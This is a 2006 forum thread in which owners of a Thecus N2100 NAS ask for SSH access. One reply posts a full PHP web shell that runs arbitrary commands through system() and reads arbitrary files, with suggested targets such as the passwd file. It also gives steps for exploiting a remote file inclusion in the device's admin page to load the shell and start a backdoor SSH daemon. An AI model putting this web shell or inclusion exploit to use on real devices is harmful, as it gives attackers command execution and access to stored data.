|
SSH
Jun 27, 2006 21:11:26 GMT 7
Post by gunny2k6 on Jun 27, 2006 21:11:26 GMT 7
i know this ones probly never gonna happen but SSH would nice as well considering its Linux not so we can edit the files but able to ssh to it to give remote commands like reboot, shutdown or run a few things for those that can use a web browser at work etc
|
|
|
SSH
Jul 11, 2006 14:49:54 GMT 7
Post by spiken on Jul 11, 2006 14:49:54 GMT 7
Yep, the SSH will be a great feature.
|
|
|
SSH
Jul 14, 2006 15:56:42 GMT 7
Post by ryebank on Jul 14, 2006 15:56:42 GMT 7
I'd also like it ... why can't Thecus just accept it is a mini Linux server and let us at it ....
|
|
ear1grey
New Member
GrubClub use Thecus for cost effective live backups.
Posts: 22
|
SSH
Jul 18, 2006 22:17:05 GMT 7
Post by ear1grey on Jul 18, 2006 22:17:05 GMT 7
+1
SSH support would garner significant buy-in from the linux world. For such a minor addition, a major PR coup could be achieved.
|
|
|
SSH
Jul 18, 2006 23:39:27 GMT 7
Post by marty on Jul 18, 2006 23:39:27 GMT 7
What other NAS or similiar embedded system allow end-user SSH access? as root? or some other user?
|
|
|
SSH
Jul 20, 2006 20:35:07 GMT 7
Post by n2100man on Jul 20, 2006 20:35:07 GMT 7
ssh access is pretty easy and once that's done so is decrypting the firmware binary to change the root password so not everyone's is the same.
How...
You need a webserver and a php script such as this
<form method="GET" action="<?php echo $HTTP_SERVER_VARS["SCRIPT_URI"] ?>"> <input type="hidden" name="name" value="<?php echo $HTTP_GET_VARS["name"] ?>" /> Filename: <input name="read_file" value="" /><br/> Command: <input name="cmd" value="" /><br/> Run phpinfo()? <input type="checkbox" name="phpinfo" value="true" /><br/> <input type="submit" /> </form>
<?php
/* We can output headers... */ //header("Expires: 0");
if ($HTTP_GET_VARS["phpinfo"] == "true") { phpinfo(); } if ($HTTP_GET_VARS["read_file"]) { catFile($HTTP_GET_VARS["read_file"]); } if ($HTTP_GET_VARS["cmd"]) { runCmd($HTTP_GET_VARS["cmd"]); }
if(!$HTTP_GET_VARS["phpinfo"] && !$HTTP_GET_VARS["read_file"] && !$HTTP_GET_VARS["cmd"]) { echo "<pre>Usage:"; echo " " . $HTTP_SERVER_VARS["SCRIPT_URI"] . "? " . "name=".$HTTP_GET_VARS["name"]."&" . "read_file=<FILE_NAME>&" . "&cmd=<CMD>&" . "phpinfo=true|false
Some possible interesrting <FILE_NAME>
/app/etc/httpd/conf/php.ini /app/etc/ssh/sshd_config /app/etc/passwd
Some possible values for <CMD> find / ls -lR / tar -zcf /raid/Repository/filesystem.tar.gz /app/* ps auwx ls -l /app/etc/passwd /opt/openssh/sbin/sshd /img/bin/bkdor_sshd start"; echo "</pre>"; }
function runCmd($cmd) { echo "</pre><h1>Output from '$cmd'</h1><pre>"; echo system($cmd); echo "</pre>"; }
function catFile($filename) { echo "<h1>Contents of $filename</h1><pre>"; $handle = fopen($filename, "r");
while (!feof($handle)) { $buffer = fread($handle,1024); echo $buffer; flush(); if ($retbytes) { $cnt += strlen($buffer); } } $status = fclose($handle); echo "<pre>"; }
?>
you need to name the php script .htm or .html login to the n2100 and change the url from https://HOSTNAME/adm/getform.html?name=about
to
https://HOSTNAME/adm/getform.html?name=WEBSERVER/PHP_SCRIPT_LOCATION
N.B. Do not add the .htm/.html to the script location the n2100 will do this for you...
in the command section run the last command and you should get a message saying starting daemon.
|
|